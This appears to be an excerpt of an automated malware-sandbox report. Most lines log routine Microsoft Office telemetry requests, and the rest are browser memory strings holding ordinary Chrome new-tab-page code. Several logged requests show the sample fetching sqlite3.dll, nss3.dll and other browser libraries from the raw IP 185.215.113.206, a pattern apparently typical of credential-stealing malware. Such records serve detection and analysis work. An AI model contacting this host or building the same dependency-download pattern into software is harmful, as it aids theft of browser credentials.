Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703301v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703300v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120603v8s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120128v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120607v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230104v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230157v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230162v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230158v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230164v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230165v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230166v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230167v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230168v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230169v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230171v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230170v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230172v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230173v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule230174v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule120119v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule224900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704101v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704100v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704201v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704200v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704151v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704150v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule226009v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.206Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/sqlite3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/freebl3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/mozglue.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/msvcp140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/nss3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/softokn3.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: GET /746f34465cf17784/vcruntime140.dll HTTP/1.1Host: 185.215.113.206Cache-Control: no-cache

Source: chrome.exe, 00000002.00000003.1893643055.000007C00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1893325676.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1893556804.000007C000F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style include="cr-hidden-style">:host{--ntp-logo-height:200px;display:flex;flex-direction:column;flex-shrink:0;justify-content:flex-end;min-height:var(--ntp-logo-height)}:host([reduced-logo-space-enabled_]){--ntp-logo-height:168px}:host([doodle-boxed_]){justify-content:flex-end}#logo{forced-color-adjust:none;height:92px;width:272px}:host([single-colored]) #logo{-webkit-mask-image:url(icons/google_logo.svg);-webkit-mask-repeat:no-repeat;-webkit-mask-size:100%;background-color:var(--ntp-logo-color)}:host(:not([single-colored])) #logo{background-image:url(icons/google_logo.svg)}#imageDoodle{cursor:pointer;outline:0}#imageDoodle[tabindex='-1']{cursor:auto}:host([doodle-boxed_]) #imageDoodle{background-color:var(--ntp-logo-box-color);border-radius:20px;padding:16px 24px}:host-context(.focus-outline-visible) #imageDoodle:focus{box-shadow:0 0 0 2px rgba(var(--google-blue-600-rgb),.4)}#imageContainer{display:flex;height:fit-content;position:relative;width:fit-content}#image{max-height:var(--ntp-logo-height);max-width:100%}:host([doodle-boxed_]) #image{max-height:160px}:host([doodle-boxed_][reduced-logo-space-enabled_]) #image{max-height:128px}#animation{height:100%;pointer-events:none;position:absolute;width:100%}#shareButton{background-color:var(--ntp-logo-share-button-background-color,none);border:none;height:var(--ntp-logo-share-button-height,0);left:var(--ntp-logo-share-button-x,0);min-width:var(--ntp-logo-share-button-width,0);opacity:.8;outline:initial;padding:2px;position:absolute;top:var(--ntp-logo-share-button-y,0);width:var(--ntp-logo-share-button-width,0)}#shareButton:hover{opacity:1}#shareButton img{height:100%;width:100%}#iframe{border:none;
Source: chrome.exe, 00000002.00000003.1893643055.000007C00040C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1893325676.000007C000384000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000002.00000003.1893556804.000007C000F80000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: const FACEBOOK_APP_ID=738026486351791;class DoodleShareDialogElement extends PolymerElement{static get is(){return"ntp-doodle-share-dialog"}static get template(){return getTemplate$3()}static get properties(){return{title:String,url:Object}}onFacebookClick_(){const url="https://www.facebook.com/dialog/share"+`?app_id=${FACEBOOK_APP_ID}`+`&href=${encodeURIComponent(this.url.url)}`+`&hashtag=${encodeURIComponent("#GoogleDoodle")}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kFacebook)}onTwitterClick_(){const url="https://twitter.com/intent/tweet"+`?text=${encodeURIComponent(`${this.title}\n${this.url.url}`)}`;WindowProxy.getInstance().open(url);this.notifyShare_(DoodleShareChannel.kTwitter)}onEmailClick_(){const url=`mailto:?subject=${encodeURIComponent(this.title)}`+`&body=${encodeURIComponent(this.url.url)}`;WindowProxy.getInstance().navigate(url);this.notifyShare_(DoodleShareChannel.kEmail)}onCopyClick_(){this.$.url.select();navigator.clipboard.writeText(this.url.url);this.notifyShare_(DoodleShareChannel.kLinkCopy)}onCloseClick_(){this.$.dialog.close()}notifyShare_(channel){this.dispatchEvent(new CustomEvent("share",{detail:channel}))}}customElements.define(DoodleShareDialogElement.is,DoodleShareDialogElement);function getTemplate$2(){return html`<!--_html_template_start_--><style 